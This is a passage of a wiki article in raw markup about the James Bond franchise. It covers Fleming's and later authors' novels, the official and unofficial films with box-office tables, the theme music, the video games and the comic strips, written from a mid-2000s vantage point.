*[[1962 in literature|1962]] ''[[The Spy Who Loved Me]]''
*[[1963 in literature|1963]] ''[[On Her Majesty's Secret Service]]''
*[[1964 in literature|1964]] ''[[You Only Live Twice]]''
*[[1965 in literature|1965]] ''[[The Man with the Golden Gun]]''
*[[1966 in literature|1966]] ''[[Octopussy and The Living Daylights]]''
|}

Between 1953 and 1966, twelve James Bond novels and two short story collections by Fleming were published, with one novel and one short story collection issued posthumously. To this day, it is still debated [[The Man with the Golden Gun#The controversy over the novel|whether Fleming himself actually finished]] 1965's ''The Man with the Golden Gun'', as he died very soon after completing the book. His first anthology of short stories, ''For Your Eyes Only'', mostly consisted of converted screenplays for a [[CBS]] television series based on the character. When the project fell through, Fleming turned them into short stories: (i) &quot;[[For Your Eyes Only#&quot;From A View to a Kill&quot;|From a View to a Kill]]&quot;, (ii) &quot;[[For Your Eyes Only#&quot;For Your Eyes Only&quot;|For Your Eyes Only]]&quot;, (iii) &quot;[[For Your Eyes Only#&quot;Risico&quot;|Risico]]&quot;, plus two additional stories, &quot;[[For Your Eyes Only#&quot;The Hildebrand Rarity&quot;|The Hildebrand Rarity]]&quot; and &quot;[[For Your Eyes Only#&quot;Quantum of Solace&quot;|Quantum of Solace]]&quot;, which were previously published. The second anthology, ''Octopussy and The Living Daylights'' (in many editions titled only ''Octopussy''), originally only contained two short stories, &quot;[[Octopussy and The Living Daylights#&quot;Octopussy&quot;|Octopussy]]&quot; and &quot;[[Octopussy and The Living Daylights#&quot;The Living Daylights&quot;|The Living Daylights&quot;]]; a third story, &quot;[[Octopussy and The Living Daylights#&quot;The Property of a Lady&quot;|The Property of a Lady]]&quot; was added in the 1967 paperback edition, and a fourth, &quot;[[Octopussy and The Living Daylights#&quot;007 in New York&quot;|007 in New York]]&quot;, was added in 2002.

===Post-Fleming James Bond novels===
[[Image:ColonelSunOld.jpg|right|thumb|200px|After Fleming's death, Glidrose Productions attempted to continue the Bond series with ''Colonel Sun''.]]
Following Fleming's death in 1964, [[Ian Fleming Publications|Glidrose Productions]], publishers of the James Bond novels, planned a new book series, credited to the pseudonym &quot;[[Robert Markham]]&quot; and written by a rotating series of authors. Ultimately, only one Markham novel saw print, 1968's ''[[Colonel Sun]]'' by [[Kingsley Amis]]. Amis had previously written two books on the world of James Bond, the 1964 essay ''The James Bond Dossier'' and the tongue-in-cheek [[1965]] release ''The Book of Bond, or Every Man His Own 007'' (written under the pseudonym &quot;Lt.-Col. William (&quot;Bill&quot;) Tanner&quot;, a recurring character in the Bond novels. Amis had also been claimed for many years as the [[ghost writer]] of ''[[The Man with the Golden Gun]]'', although this has been debunked by numerous sources.  See [[The Man with the Golden Gun#The controversy over the novel|The controversy over ''The Man with the Golden Gun'']].)

In [[1973 in literature|1973]], Fleming biographer [[John Pearson (author)|John Pearson]] was commissioned by Glidrose to biograph the fictional character James Bond. Pearson wrote ''[[James Bond: The Authorised Biography of 007]]'' in the first person as if meeting the secret agent himself. The book was well-received by aficionados&amp;mdash;readers and viewers, alike. Since the book has many discrepancies with Fleming's Bond (for example his birth year), the canonical status of ''James Bond: The Authorised Biography of 007'' is debated among fans&amp;mdash;some consider it [[apocryphal]], though at least one publisher, Pan Books, issued it as an official novel along with the rest of Fleming's series for its first paperback edition. Glidrose reportedly considered a new series of novels written by Pearson, but this did not come to pass. Prior to writing this, Pearson had written an early biography of Ian Fleming, ''[[The Life of Ian Fleming]]''.

In [[1977 in literature|1977]], the film ''[[The Spy Who Loved Me]]'' was released and was subsequently novelised and published by Glidrose due to the radical difference between the script and Fleming's novel of the same name. This would happen again with [[1979 in literature|1979]]'s ''[[Moonraker]]''. Both novelisations were written by [[screenwriter]] [[Christopher Wood (writer)|Christopher Wood]] and were the first official novelisations, although technically, Fleming's ''Thunderball'' was a novelisation having been based on scripts by himself, [[Kevin McClory]], and [[Jack Whittingham]] (although it predated the movie), and the ''For Your Eyes Only'' collection was also, for the most part, based upon unproduced scripts.

In the 1980s, the series was finally revived with new novels by John Gardner; between [[1981]] and [[1996]], he wrote fourteen James Bond novels and two screenplay novelisations, surpassing Fleming's original output. The biggest change in Gardner's series was updating 007's world to the 1980s; however, it would keep the characters the same age as they were in Fleming's novels. Generally Gardner's series is considered a success although their canonical status is disputed.

{| class=&quot;wikitable&quot;
|- style=&quot;vertical-align: top;&quot;
|
*[[1981 in literature|1981]] ''[[Licence Renewed]]''
*[[1982 in literature|1982]] ''[[For Special Services]]''
*[[1983 in literature|1983]] ''[[Icebreaker (novel)|Icebreaker]]''
*[[1984 in literature|1984]] ''[[Role of Honour]]''
*[[1986 in literature|1986]] ''[[Nobody Lives For Ever]]''
*[[1987 in literature|1987]] ''[[No Deals, Mr. Bond]]''
*[[1988 in literature|1988]] ''[[Scorpius (novel)|Scorpius]]'' 
*[[1989 in literature|1989]] ''[[Win, Lose or Die]]'' 
| 
*[[1989 in literature|1989]] ''[[Licence to Kill]]'' ([[novelisation]])
*[[1990 in literature|1990]] ''[[Brokenclaw]]''
*[[1991 in literature|1991]] ''[[The Man from Barbarossa]]''
*[[1992 in literature|1992]] ''[[Death is Forever]]''
*[[1993 in literature|1993]] ''[[Never Send Flowers]]''
*[[1994 in literature|1994]] ''[[SeaFire]]''
*[[1995 in literature|1995]] ''[[GoldenEye]]'' (novelisation)
*[[1996 in literature|1996]] ''[[COLD (novel)|COLD]]''
|}

In 1996, Gardner retired from writing James Bond books due to ill health, and American Raymond Benson quickly replaced him. As a James Bond novelist, Benson was initially controversial for being American, and for ignoring much of the continuity established by Gardner. Benson had previously written ''[[The James Bond Bedside Companion]]'', a book dedicated to Ian Fleming, the official novels, and the films. The book was initially released in [[1984 in literature|1984]] and later updated in [[1988 in literature|1988]]. Benson also contributed to the creation of several modules in the popular ''James Bond 007'' [[role-playing game]] in the 1980s. Benson wrote six James Bond novels, three novelisations, and three short stories.

{| class=&quot;wikitable&quot;
|- style=&quot;vertical-align: top;&quot;
|
*[[1997 in literature|1997]] ''&quot;[[James Bond uncollected short stories#&quot;Blast from the Past&quot;|Blast From the Past]]&quot;'' (short story)
*[[1997 in literature|1997]] ''[[Zero Minus Ten]]''
*[[1997 in literature|1997]] ''[[Tomorrow Never Dies]]'' (novelisation)
*[[1998 in literature|1998]] ''[[The Facts of Death]]''
*[[1999 in literature|1999]] ''&quot;[[James Bond uncollected short stories#&quot;Midsummer Night's Doom&quot;|Midsummer Night's Doom]]&quot;'' (short story)
*[[1999 in literature|1999]] ''&quot;[[James Bond uncollected short stories#&quot;Live at Five&quot;|Live at Five]]&quot;'' (short story)
|
*[[1999 in literature|1999]] ''[[The World Is Not Enough]]'' (novelisation)
*[[1999 in literature|1999]] ''[[High Time to Kill]]''
*[[2000 in literature|2000]] ''[[Doubleshot]]''
*[[2001 in literature|2001]] ''[[Never Dream of Dying]]''
*[[2002 in literature|2002]] ''[[The Man with the Red Tattoo]]''
*[[2002 in literature|2002]] ''[[Die Another Day]]'' (novelisation)
|}

Benson's three short stories [[James Bond uncollected short stories|remain uncollected]], unlike previous short stories from Ian Fleming. Benson also wrote a fourth short story entitled &quot;[[James Bond uncollected short stories#Unpublished story|The Heart of Erzulie]]&quot; that was rejected for publication.

Benson abruptly resigned as Bond novelist at the end of 2002, despite having previously announced plans to write a short story collection. Low sales figures for the books, and plans by Ian Fleming Publications to focus on reissuing Fleming's original novels for the 50th anniversary of the character, were among reasons speculated by fans as to why Benson departed. The year 2003 marked the first year since 1980 that a new James Bond novel had not been published.

On [[August 28]], [[2005]], Ian Fleming Publications confirmed it is planning to publish a one-off adult Bond novel in [[2008]] to mark what would have been Ian Fleming's 100th birthday. This would feature the adult version of the character as opposed to the &quot;Young Bond&quot; character of the recent Charlie Higson books (see below). Although it has been suggested a &quot;big name&quot; author might take on the task, the publishers have yet to approach anyone about this project [http://www.ianflemingcentre.com/index.cfm?page=news].

===Young Bond===
{{main|Young Bond}}

In April 2004, Ian Fleming Publications (Glidrose) announced a new series of James Bond books. Instead of continuing from where Raymond Benson ended in 2002, the new series featured James Bond as a thirteen-year-old boy attending [[Eton College]]. Written by [[Charlie Higson]] (''[[The Fast Show]]'') the series is intended to align faithfully with the adult Bond's back-story established by Fleming and Fleming only. Since the concept was announced the series has taken heavy criticism for being aimed at the &quot;[[Harry Potter]] audience&quot; and has been seen by some as a desperate attempt to find a new audience for Bond. Regardless, the first novel became a bestseller in the United Kingdom and was released to good reviews. A second novel was released in the UK in January 2006. The series is currently planned out for five novels according to Charlie Higson.

{|class=&quot;wikitable&quot;
|- style=&quot;vertical-align: top;&quot;
|
*[[2005 in literature|2005]] ''[[SilverFin]]''
*[[2006 in literature|2006]] ''[[Blood Fever]]''
*2007 ''[[Young Bond Book 3]]''
*2008 ''[[Young Bond Book 4]]''
*2009 ''[[Young Bond Book 5]]''
|}

The ''Young Bond'' series is expected to add [[graphic novel]]s in 2006. It is currently unknown whether these will be adaptations of Higson's books.

===The Moneypenny Diaries===
{{main|The Moneypenny Diaries}}

A new trilogy of novels &quot;edited&quot; by [[Samantha Weinberg]] under the pseudonym [[Kate Westbrook]] entitled ''[[The Moneypenny Diaries]]'' was released by [[John Murray (publisher)|John Murray]] publishers that centres on the character of [[Miss Moneypenny]], [[M (James Bond)|M]]'s personal secretary. The first installment of the trilogy, subtitled ''Guardian Angel'', was released on [[October 10]], [[2005]]. Weinberg is the first woman to write officially licensed Bond-related literature (although [[Johanna Harwood]] had previously co-written the screenplay for ''Dr. No'').

The novels had originally been touted as the secret journal of a &quot;real&quot; Miss Moneypenny and that James Bond was a possible pseudonym for a genuine intelligence officer, an idea shared by John Pearson's earlier biography, ''James Bond: The Authorised Biography of 007''. John Murray admitted on [[August 28]], [[2005]] that the books were a spoof after an investigation by ''The Sunday Times'' of London. Ian Fleming Publications, who had previously refused to comment as to whether the book was authorised, officially confirmed the book was and always had been a project by them on the day of the book's publication.

A second volume has been tentatively scheduled for publication in October 2006.[http://commanderbond.net/Public/Stories/2999-1.shtml]

===Other Bond-related fiction===
In [[1967]], Glidrose authorised publication of ''[[003½: The Adventures of James Bond Junior]]'' written by [[Arthur Calder-Marshall]] under the pseudonym R D Mascott. This book is for young-adult readers, and chronicles the adventures of 007's nephew (despite the inaccurate title).

In 1991 an animated television series, ''[[James Bond Jr]]'', ran for 65 episodes. The series was mildly successful and spawned six novelisations published in 1992 by [[John Peel (writer)|John Peel]] writing as John Vincent, a 12 issue comic book series by [[Marvel Comics]] published in 1992, as well as a [[video game]] [[video game developer|developed]] by [[Eurocom]] for the [[Nintendo Entertainment System|NES]] and the [[Super Nintendo Entertainment System|SNES]] in 1991.

[[Russia|Russians]] were often the villains in Fleming's [[Cold War]]-era novels in at least some form. In [[1968]], they hit back with a spy novel of their own called ''[[The Zakhov Mission|Avakoum Zahov vs. 07]]'' by [[Andrei Guliashki]], in which a [[communism|communist]] hero finally and forcefully defeats 007.

In addition to numerous [[fan fiction]] pieces written since the character was created, there have been two stories written by well-known authors claiming to have been contracted by Glidrose. The first in 1966, was ''[[Per Fine Ounce]]'' by [[Geoffrey Jenkins]], a friend of Ian Fleming who claimed to have developed with Fleming a diamond-smuggling storyline similar to ''Diamonds Are Forever'' as early as the 1950s. According to the book ''The Bond Files'' by [[Andy Lane]] and [[Paul Simpson]], soon after Ian Fleming died, Glidrose Productions commissioned Jenkins to write a James Bond novel. The novel was never published. Some sources have suggested that Jenkins novel was to be published under the Markham pseudonym. The second story, 1985's ''[[The Killing Zone]]'' by [[James Hatfield|Jim Hatfield]] goes so far as to have been privately published as well as claim on the cover that it was published by Glidrose; however it is highly unlikely that Glidrose contacted Hatfield to write a novel since at the time John Gardner was the official author. The text of ''The Killing Zone'' is available on the [[Internet]] and can be found [http://www.universalexports.net/Books/killingzone.shtml here].

In [[1997]], the British publisher [[B.T. Batsford]] produced ''[[Your Deal, Mr. Bond]]'', a collection of [[bridge (card game)|bridge]]-related short stories by [[Phillip King (writer)| Phillip King]] and [[Robert King]]. The title story features James Bond, M, and other characters and features an epic bridge game between Bond and the villain, Saladin. No credit is given to Ian Fleming Publications, suggesting this rare story may have been unauthorised; a photo of Sean Connery as Bond is featured on the cover of the book.

In Clive Cussler's novel, &quot;Night Probe&quot;, there is a character named Brian Shaw, whom the hero, Dirk Pitt suspects to be James Bond. Brian Shaw's choice of pistol, a .25 caliber, echoes that of James Bond's preference for the .25 caliber Beretta. Shaw's old office was located in Regent Park, and he was supposed to have been on SMERSH's hit list.

==Films==
===Official===
The James Bond film series has its own traditions, many of which date back to the very first movie in 1962.

Since ''Dr. No'', every official James Bond film begins with what is known as the [[James Bond gun barrel sequence]], which introduces agent 007. The gun barrel is seen from the assassin's perspective&amp;mdash;looking down at a walking James Bond, who quickly turns and shoots; the scene reddens (signifying the spilling of the would-be assassin's blood), the gun barrel dissolves to a white circle, and the film begins.

[[Image:Kleinman gunbarrel.jpg|left|275px|thumb|Pierce Brosnan as James Bond in the gun barrel sequence]]
After the gun barrel sequence, every film starting with ''From Russia with Love'' (1963), would start with a pre-credits teaser, also popularly known as the &quot;opening [[gambit]].&quot; Usually the scene features 007 finishing up a previous case before taking on the case from the film, and does not always relate to his main mission. Some of the teasers tie in with the plot of the film (as in ''Live and Let Die''). Since ''The Spy Who Loved Me'' in 1977, they have often involved attention-grabbing action sequences, which have tended to become larger and more elaborate with each successive film. The [[1999]] film ''The World Is Not Enough'' currently holds the record as the longest Bond teaser ever, running more than 15 minutes; most teasers run for less than five.
[[Image:Kleinman titlecredits.jpg|right|275px|thumb|Title credits from ''GoldenEye'' representing the fall of the [[Soviet Union]] and the end of the [[Cold War]]]]
When the teaser sequence is finished, the opening credits begin during which an arty display of scantily clad and even (discreetly) naked females can be seen doing a variety of activities from dancing, jumping on a trampoline, to shooting weapons. This sequence is a trademark and a staple of the James Bond films. The best known of the Bond title designers is [[Maurice Binder]], who created these sequences for fourteen 007 films from 1962 to 1989. Since Binder's death in 1991, [[Daniel Kleinman]] has designed the credits and has introduced CG elements not present during Binder's era. While the credits run, the main theme of the film is usually sung by a popular artist of the time. For the most part, the credits are unrelated to the plot of the film, although the design may reflect an overall theme (for example, ''You Only Live Twice'' uses a [[Japan|Japanese]] motif as well as images of a [[volcano]], both of which are elements of the movie itself). ''Goldfinger'' uses short glimpses of the film projected onto women's bodies. ''For Your Eyes Only'' begins with [[Sheena Easton]] singing the title song on-screen. ''[[Die Another Day]]'' was unusual in that the images shown in that film's opening credits advance the storyline by depicting Bond's torture following his capture by the North Koreans. The credits for ''GoldenEye'' depict the fall of the Soviet Union and thus provide a transition from the pre-fall era of the opening sequence to the post-fall setting of the rest of the narrative. The Bond films are unusual in retaining full opening and closing credits; since the late 1970s it has become common for most films to save detailed credits for the end, with only principal actors and crew listed at the beginning. 

[[Image:James bond world locations.PNG|thumb|[[James Bond locations|Countries James Bond visited]]]]

Agent 007's famous introduction, &quot;Bond. James Bond&quot; became a [[catch phrase]] after it was first muttered (with a cigarette in the corner of his mouth) by Sean Connery in ''Dr. No''. Since then, the phrase has entered the [[lexicon]] of Western [[popular culture]] as the epitome of polished, understated machismo. On [[June 21]], [[2005]] the catch phrase was honoured as the 22nd greatest quotation in cinema history by the [[American Film Institute]] as part of their [[100 Years Series]] {{ref|AFI}}. The catch phrase, &quot;a martini. [[Shaken, not stirred]],&quot; which was first uttered by Bond in ''Goldfinger'' (although it is actually first said on screen by the villain in ''Dr. No'') was also honoured as #90 on the same list.

Every film, except ''Dr. No'' (1962) and &quot;Thunderball&quot; (1965), has the line: &quot;James Bond will return. . .&quot; or &quot;James Bond will be back&quot; during or after the final credits. Up until ''Octopussy'' (1983) the end-credit line would also name the next title in the film series (&quot;James Bond will return in...&quot;). Over the years the films have incorrectly named the sequel three times. The first, 1964's ''Goldfinger'', in early prints announced Bond to return in ''On Her Majesty's Secret Service'', however, the producers changed their mind shortly after release and subsequently made the correction in future prints of the film. In 1977, ''The Spy Who Loved Me'' stated Bond would return in ''For Your Eyes Only'', however, EON Productions had decided to instead take advantage of the ''[[Star Wars]]'' space craze and release a film adaptation of Fleming's ''Moonraker'', which was changed to a plot involving outer space. Thirdly, ''Octopussy'' (1983) incorrectly states the title of the next film as ''From A View To A Kill'', the original literary title of ''A View to a Kill''.

Every aficionado has a favourite James Bond: Sean Connery&amp;mdash;the tough guy, his machismo ready beneath the polished persona, George Lazenby&amp;mdash;the controversial ultra-macho man, equally loved and despised, Roger Moore&amp;mdash;the sophisticate, a perfect gentleman, rarely mussing his hair whilst saving the world, Timothy Dalton&amp;mdash;the hard-edged literary character, and Pierce Brosnan&amp;mdash;the polished man of action. On [[October 14]], [[2005]], EON Productions announced that Daniel Craig would be the sixth official James Bond and will star in the latest 007 adventure, ''Casino Royale'' in 2006. Work is also already underway on the script for the follow-up film, currently referred to by its working title, ''Bond 22'' 

There's also lively debate on the best Bond movie, with most major film critics giving the top mark to either ''From Russia with Love'' (Connery's favourite, as he re-asserted in a 2002 [[American Broadcasting Company|ABC]] interview with [[Sam Donaldson]]) or its brassy followup, ''Goldfinger.'' Despite George Lazenby's short tenure in the tuxedo, some reviewers have also warmed to ''On Her Majesty's Secret Service'' (with [[Leonard Maltin]]'s ''Movies on TV'' review book stating it might have been the best Bond film ever had Connery appeared in it).

[[Image:007Connery.jpg|100px|thumb|left|[[Sean Connery]]]]
[[Image:007Lazenby.jpg|100px|thumb|left|[[George Lazenby]]]]
[[Image:007Moore.jpg|100px|thumb|left|[[Roger Moore]]]]
[[Image:007Dalton.jpg|100px|thumb|left|[[Timothy Dalton]]]]
[[Image:007Brosnan.jpg|100px|thumb|left|[[Pierce Brosnan]]]]
[[Image:007DanielCraig.jpg|100px|thumb|left|[[Daniel Craig]]]]
&lt;br style=&quot;clear: left&quot;/&gt;

&lt;!--DO NOT add Never Say Never Again or the 1967 Casino Royale to this list. They are unofficial films and are listed in the unofficial films list, below!--&gt;
{| class=&quot;wikitable&quot;
!No.
!width=&quot;215&quot;|Title
!Year
!width=&quot;115&quot;|James Bond
!U.S. Box Office
!Total Box Office
!Total Admissions
|-
|1
|''[[Dr. No]]''
|[[1962 in film|1962]]
|'''[[Sean Connery]]'''
|$16,100,000
|$59,600,000
|72.1 million
|-
|2
||''[[From Russia with Love]]''
|[[1963 in film|1963]]
|Sean Connery
|$24,800,000
|$78,900,000
|95.3 million
|-
|3
|''[[Goldfinger]]''
|[[1964 in film|1964]]
|Sean Connery
|$51,100,000
|$124,900,000
|130.1 million
|-
|4
|''[[Thunderball]]''
|[[1965 in film|1965]]
|Sean Connery
|$63,600,000
|$141,200,000
|166 million
|-
&lt;!--DO NOT add The 1967 Casino Royale to this list. It is an unofficial film and is listed in the unofficial films list, below!--&gt;
|5
|''[[You Only Live Twice]]''
|[[1967 in film|1967]]
|Sean Connery
|$43,100,000
|$111,600,000
|81.7 million
|-
|6
|''[[On Her Majesty's Secret Service]]''
|[[1969 in film|1969]]
|'''[[George Lazenby]]'''
|$22,800,000
|$87,400,000
|62.4 million
|-
|7
|''[[Diamonds Are Forever]]''
|[[1971 in film|1971]]
|Sean Connery
|$43,800,000
|$116,000,000
|70.3 million
|-
|8
|''[[Live and Let Die]]''
|[[1973 in film|1973]]
|'''[[Roger Moore]]'''
|$35,400,000
|$161,800,000
|91.6 million
|-
|9
|''[[The Man with the Golden Gun]]''
|[[1974 in film|1974]]
|Roger Moore
|$21,000,000
|$97,600,000
|51.6 million
|-
|10
|''[[The Spy Who Loved Me]]''
|[[1977 in film|1977]]
|Roger Moore
|$46,800,000      
|$185,400,000
|83.1 million
|-
|11
|''[[Moonraker]]''
|[[1979 in film|1979]]
|Roger Moore
|$70,300,000
|$210,300,000
|85.1 million
|-
|12
|''[[For Your Eyes Only]]''
|[[1981 in film|1981]]
|Roger Moore
|$54,800,000
|$195,300,000
|70.3 million
|-
|13
|''[[Octopussy]]''
|[[1983 in film|1983]]
|Roger Moore
|$67,900,000
|$187,500,000
|59.5 million
|-
&lt;!--DO NOT add Never Say Never Again to this list. It is an unofficial film and is listed in the unofficial films list, below!--&gt;
|14
|''[[A View to a Kill]]''
|[[1985 in film|1985]]
|Roger Moore
|$50,300,000
|$152,400,000
|42.9 million
|-
|15
|''[[The Living Daylights]]''
|[[1987 in film|1987]]
|'''[[Timothy Dalton]]'''
|$51,200,000
|$191,200,000
|48.9 million
|-
|16
|''[[Licence to Kill]]''
|[[1989 in film|1989]]
|Timothy Dalton
|$34,700,000
|$156,200,000
|39.1 million
|-
|17
|''[[GoldenEye]]''
|[[1995 in film|1995]]
|'''[[Pierce Brosnan]]'''
|$106,400,000
|$353,400,000
|81.2 million
|-
|18
|''[[Tomorrow Never Dies]]''
|[[1997 in film|1997]]
|Pierce Brosnan
|$125,300,000
|$346,600,000
|75.5 million
|-
|19
|''[[The World Is Not Enough]]''
|[[1999 in film|1999]]
|Pierce Brosnan
|$126,900,000
|$390,000,000
|77.1 million
|-
|20
|''[[Die Another Day]]''
|[[2002 in film|2002]]
|Pierce Brosnan
|$160,900,000
|$456,000,000
|78.6 million
|-
|21
|''[[Casino Royale (2006 film)|Casino Royale]]''
|[[2006 in film|2006]]
|'''[[Daniel Craig]]'''
|
|
|
|}

===Unofficial===
In 1954, [[CBS]] paid Ian Fleming $1,000 [[United States dollar|USD]] for the rights to adapt ''Casino Royale'' into a one hour [[television]] adventure as part of their ''[[Climax! (television)|Climax!]]'' series. The episode featured [[United States|American]] [[Barry Nelson]] in the role of &quot;Jimmy Bond&quot;, an agent for the fictional &quot;Combined Intelligence&quot; agency. The rights to ''Casino Royale'' were subsequently sold to producer [[Charles K. Feldman]] who turned Fleming's first novel into a [[Parody|spoof]] featuring actor [[David Niven]] as one of ''six'' James Bonds. The instrumental theme music was a hit for [[Herb Alpert|Herb Alpert and the Tijuana Brass]]. For more information, see [[Casino Royale#Adaptation history|the history of ''Casino Royale'']].

When plans for a James Bond film were scrapped in the late 1950s, a story treatment entitled ''Thunderball'', written by Ian Fleming, [[Kevin McClory]] and [[Jack Whittingham]], was adapted as Fleming's ninth Bond novel. Initially the novel only credited Fleming. McClory filed a lawsuit that would eventually award him the film rights to the novel in 1963. Afterwards McClory made a deal with EON Productions to produce a film adaptation starring Sean Connery. The deal specifically stated that McClory couldn't reproduce another adaptation until a set period of time had elapsed. McClory did so in 1983 by producing the film ''Never Say Never Again'', which featured Sean Connery for a seventh time as 007. ''Never Say Never Again'' was not made by Broccoli's production company, [[EON Productions]], and is, therefore, not considered a part of the official film series. A second attempt by McClory to remake ''Thunderball'' in the 1990s with [[Sony Pictures]] was halted by legal action which resulted in Sony Pictures abandoning their aspirations for a rival James Bond series. McClory to this day still claims to own the film rights to ''Thunderball'', though MGM and EON claim those rights have expired. For more in-depth information, see [[Thunderball#The controversy over the novel|the controversy over ''Thunderball'']].

{|
|[[Image:Barry Nelson autograph.JPG|thumb|none|125px|[[Barry Nelson]]]]
|[[Image:DavidNiven.jpg|thumb|none|125px|[[David Niven]]]]
|[[Image:Sean Connery 1983NSNA.jpg|thumb|none|130px|[[Sean Connery]]]]
|}

{| class=&quot;wikitable&quot;
!width=&quot;200&quot;|Title
!Year
!width=&quot;150&quot;|James Bond
!U.S. Box Office
!Total Box Office
!Total Admissions
|-
|''[[Casino Royale#The 1954 television episode|Casino Royale]]'' &amp;mdash; TV episode
|[[1954 in television|1954]]
|'''[[Barry Nelson]]'''
|not applicable
|not applicable
|not applicable
|-
||''[[Casino Royale (1967 film)|Casino Royale]]'' &amp;mdash; Film spoof
|[[1967 in film|1967]]
|'''[[David Niven]]'''
|$25,000,000
|$44,000,000
|36.1 million
|-
|''[[Never Say Never Again]]''
|[[1983 in film|1983]]
|'''[[Sean Connery]]'''
|$55,400,000
|$160,000,000
|50.8 million
|}

===Other films pertaining to James Bond===
{{main|James Bond parodies}}
James Bond has long been a household name and remains a huge influence within the cinematic spy film genre. The ''[[Austin Powers]]'' series by writer and actor [[Mike Myers (actor)|Mike Myers]] and other parodies such as ''[[Johnny English]]'' (2003), the &quot;[[Our Man Flint|Flint]]&quot; series starring [[James Coburn]] as Derek Flint, and ''Casino Royale'' (1967) are testaments to Bond's prominence in popular culture. 1960s TV imitations of James Bond such as ''[[I Spy]]'', ''[[Get Smart]]'', ''[[The Wild Wild West]]'', and ''[[The Man from U.N.C.L.E.]]'' went on to become popular successes in their own right. The latter having had contributions by Fleming towards its creation; the show's lead character, &quot;[[Napoleon Solo]],&quot; was named after a character in Fleming's novel ''Goldfinger'' and Fleming also suggested the character name April Dancer, which was later used in the spinoff series ''[[The Girl from U.N.C.L.E.]]''. A reunion television movie, ''[[The Return of the Man from U.N.C.L.E.]]'' (1983), is notable for featuring a cameo by George Lazenby as James Bond; for legal reasons, his character, a tribute to Ian Fleming, was credited as &quot;JB&quot;.

==Music==
{{Main|James Bond music}}

&quot;[[The James Bond Theme]]&quot; was written by [[Monty Norman]] and was first orchestrated by the [[John Barry (composer)|John Barry]] Orchestra for 1962's ''Dr. No'', although the actual authorship of the music has been a matter of controversy for many years. Barry went on to compose the [[Film score|scores]] for eleven Bond films in addition to his uncredited contribution to ''Dr. No'', and is credited with the creation of &quot;[[The 007 Theme|007]]&quot;, which was used as an alternate Bond theme in several films, and the popular orchestrated theme &quot;[[On Her Majesty's Secret Service]]&quot;. Both &quot;The James Bond Theme&quot; and &quot;On Her Majesty's Secret Service&quot; have been [[remix]]ed a number of times by popular artists, including [[Art of Noise]], [[Moby]], [[Paul Oakenfold]], and the [[Propellerheads]].

Barry's legacy was followed by [[David Arnold]], in addition to other well-known composers and record producers such as [[George Martin]], [[Bill Conti]], [[Michael Kamen]], [[Marvin Hamlisch]], and [[Eric Serra]]. Arnold is the series' current composer of choice, and was recently signed to compose the score for the his fourth consecutive Bond film, ''Casino Royale''.

The Bond films are known for their theme songs heard during the title credits, sung by well-known popular singers (which have included [[Tina Turner]], [[Wings (band)|Paul McCartney &amp; Wings]], [[Tom Jones (singer)|Tom Jones]], [[Madonna (entertainer)|Madonna]], and [[Duran Duran]], among many others.) [[Shirley Bassey]] performed three themes in total, and is the only singer to have been associated with more than one film. ''On Her Majesty's Secret Service'' is the only Bond film with a solely instrumental theme, though [[Louis Armstrong]]'s ballad &quot;[[We Have All the Time in the World]]&quot;, which serves as Bond and his wife Tracy's love song and whose title is Bond's last line in the film, is considered the unofficial theme. The main theme for ''Dr. No'' is the &quot;James Bond Theme&quot;, although the opening credits also include an untitled [[bongo]] interlude, and concludes with a vocal [[Calypso]]-flavoured rendition of &quot;[[Three Blind Mice]]&quot; entitled &quot;Kingston Calypso&quot; that sets the scene. ''[[From Russia with Love]]'' also opens with an instrumental version over the title credits (which then segues into the ''James Bond Theme''), but Matt Monro's vocal version also appears twice in the film, including the closing credits; the Monro version is generally considered the film's main theme, even though it doesn't appear during the opening credits.

==Video games==
{{Main|James Bond games}}

[[Image:Everything or Nothing.jpg|200px|right|thumb|''[[Everything or Nothing]]'' was Pierce Brosnan's final appearance as James Bond]]
In [[1983]], the first Bond video game, developed and published by [[Parker Brothers]], was released for the [[Atari 2600]], the [[Atari 5200]], the [[Commodore 64]], and the [[Colecovision]]. Since then, there have been numerous video games either based on the films or using original storylines.

Bond video games, however, didn't reach their popular stride until [[1997]]'s ''[[GoldenEye 007]]'' by [[Rare (video game company)|Rare]] for the [[Nintendo 64]]. Subsequently, virtually every Bond video game has attempted to copy ''GoldenEye 007''&lt;nowiki&gt;'&lt;/nowiki&gt;s accomplishment and features to varying degrees of success. In [[2004]], [[Electronic Arts]] released a game entitled ''[[GoldenEye: Rogue Agent]]'' that had nothing to do with either the video game ''GoldenEye'' or the film of the same name, and Bond himself plays only a minor role in which he is &quot;killed&quot; in the beginning during a virtual mission similar to the climax at Fort Knox in the film ''Goldfinger''.

Electronic Arts has to date released seven games, including the popular ''[[Everything or Nothing]]'', which broke away from the [[first-person shooter]] element found in ''GoldenEye'' and went to a [[third-person shooter|third-person]] perspective. It was also the first game to feature well known actors including [[Willem Dafoe]], [[Heidi Klum]] and [[Pierce Brosnan]] as James Bond, although several previous games have used Brosnan's likeness as Bond. In 2005, Electronic Arts released another game in the same vein as ''Everything or Nothing'', this time a video game adaptation of ''[[From Russia with Love (video game)|From Russia with Love]]'', which allowed the player to play as Bond with the likeness of [[Sean Connery]]. This was the second game based on a Connery Bond film (the first was a 1980s [[text adventure]] adaptation of ''Goldfinger'') and the first to use the actor's likeness as agent 007. Connery himself recorded new voiceovers for the game, the first time the actor has played Bond in 22 years.

==Comic strips and comic books==
{{main articles|[[James Bond comic strips]] and [[James Bond comic books]]}}

In [[1957]] the ''[[Daily Express]]'', a newspaper owned by [[Lord Beaverbrook]], approached Ian Fleming to adapt his stories into comic strips. After initial reluctance by Fleming who felt the strips would lack the quality of his writing, agreed and the first strip ''[[Casino Royale#Comic strip adaptation|Casino Royale]]'' was published in [[1958]]. Since then many illustrated adventures of James Bond have been published, including every Ian Fleming novel as well as Kingsley Amis' ''[[Colonel Sun]]'', and most of Fleming's short stories. Later, the comic strip produced original stories, continuing until [[1983]].

[[Titan Books]] is presently reprinting these comic strips in an ongoing series of [[graphic novel]]-style collections; by the end of 2005 it had completed reprinting all Fleming-based adaptations as well as ''Colonel Sun'' and had moved on to reprinting original stories.

Several [[comic book]] adaptations of the James Bond films have been published through the years, as well as numerous original stories.

==Bond characters==
{{main articles|[[List of James Bond allies]], [[List of James Bond villains]], and [[Bond girl]]}}

